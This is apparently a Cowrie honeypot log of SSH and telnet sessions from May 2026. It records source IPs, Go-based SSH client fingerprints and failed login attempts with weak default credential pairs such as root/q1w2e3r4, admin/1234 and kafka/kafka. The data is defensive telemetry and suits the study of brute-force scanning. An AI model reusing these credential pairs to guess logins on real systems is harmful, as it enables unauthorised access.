{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53896,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a7a1c0f79c","protocol":"ssh","message":"New connection: 192.109.200.237:53896 (159.203.135.109:22) [session: 32a7a1c0f79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:14.000975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:14.005981Z","src_ip":"192.109.200.237","session":"32a7a1c0f79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:14.088004Z","src_ip":"192.109.200.237","session":"32a7a1c0f79c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:14.333782Z","src_ip":"192.109.200.237","session":"32a7a1c0f79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.42622494697571,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:15.394352Z","src_ip":"50.6.8.71","session":"8cdcd873c1ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:15.546031Z","src_ip":"192.109.200.237","session":"32a7a1c0f79c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53902,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdf01d9bc808","protocol":"ssh","message":"New connection: 192.109.200.237:53902 (159.203.135.109:22) [session: cdf01d9bc808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:17.588515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:17.593267Z","src_ip":"192.109.200.237","session":"cdf01d9bc808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:17.677619Z","src_ip":"192.109.200.237","session":"cdf01d9bc808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:17.925417Z","src_ip":"192.109.200.237","session":"cdf01d9bc808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.187241554260254,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:18.175811Z","src_ip":"50.6.8.71","session":"8caa517685e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:19.010729Z","src_ip":"192.109.200.237","session":"cdf01d9bc808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.12594223022461,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:19.774729Z","src_ip":"50.6.8.71","session":"29e8875153da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10414981842041,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:20.128316Z","src_ip":"50.6.8.71","session":"62c8dda64f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13e3e9596a7","protocol":"ssh","message":"New connection: 192.109.200.237:37302 (159.203.135.109:22) [session: a13e3e9596a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:21.291138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:21.299632Z","src_ip":"192.109.200.237","session":"a13e3e9596a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:21.381732Z","src_ip":"192.109.200.237","session":"a13e3e9596a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:21.628335Z","src_ip":"192.109.200.237","session":"a13e3e9596a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:22.712106Z","src_ip":"192.109.200.237","session":"a13e3e9596a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48218,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a1a1d6dece","protocol":"telnet","message":"New connection: 50.6.8.71:48218 (10.17.0.5:23) [session: 91a1a1d6dece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:23.194873Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37308,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76aa3c2f4d4","protocol":"ssh","message":"New connection: 192.109.200.237:37308 (159.203.135.109:22) [session: e76aa3c2f4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:24.774708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:24.780631Z","src_ip":"192.109.200.237","session":"e76aa3c2f4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:24.863855Z","src_ip":"192.109.200.237","session":"e76aa3c2f4d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"471f6e780f7c","protocol":"ssh","message":"New connection: 103.77.242.62:46710 (159.203.135.109:22) [session: 471f6e780f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:25.012313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:25.017886Z","src_ip":"103.77.242.62","session":"471f6e780f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:25.115157Z","src_ip":"192.109.200.237","session":"e76aa3c2f4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:25.256839Z","src_ip":"103.77.242.62","session":"471f6e780f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flatron","message":"login attempt [root/flatron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:25.966660Z","src_ip":"103.77.242.62","session":"471f6e780f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:26.199974Z","src_ip":"192.109.200.237","session":"e76aa3c2f4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:27.206286Z","src_ip":"103.77.242.62","session":"471f6e780f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37326,"dst_ip":"159.203.135.109","dst_port":22,"session":"517e4c8bd14a","protocol":"ssh","message":"New connection: 192.109.200.237:37326 (159.203.135.109:22) [session: 517e4c8bd14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:28.504248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:28.508604Z","src_ip":"192.109.200.237","session":"517e4c8bd14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:28.591153Z","src_ip":"192.109.200.237","session":"517e4c8bd14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:28.841463Z","src_ip":"192.109.200.237","session":"517e4c8bd14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:29.926622Z","src_ip":"192.109.200.237","session":"517e4c8bd14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42426,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2f6f67b6c09","protocol":"ssh","message":"New connection: 192.109.200.237:42426 (159.203.135.109:22) [session: e2f6f67b6c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:31.865322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:31.870031Z","src_ip":"192.109.200.237","session":"e2f6f67b6c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:31.952421Z","src_ip":"192.109.200.237","session":"e2f6f67b6c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:32.200725Z","src_ip":"192.109.200.237","session":"e2f6f67b6c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:33.285642Z","src_ip":"192.109.200.237","session":"e2f6f67b6c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42442,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0e41e58ae16","protocol":"ssh","message":"New connection: 192.109.200.237:42442 (159.203.135.109:22) [session: f0e41e58ae16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:35.395765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:35.400529Z","src_ip":"192.109.200.237","session":"f0e41e58ae16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:35.482079Z","src_ip":"192.109.200.237","session":"f0e41e58ae16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:35.729573Z","src_ip":"192.109.200.237","session":"f0e41e58ae16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:47:36.815677Z","src_ip":"192.109.200.237","session":"f0e41e58ae16","protocol":"ssh"}
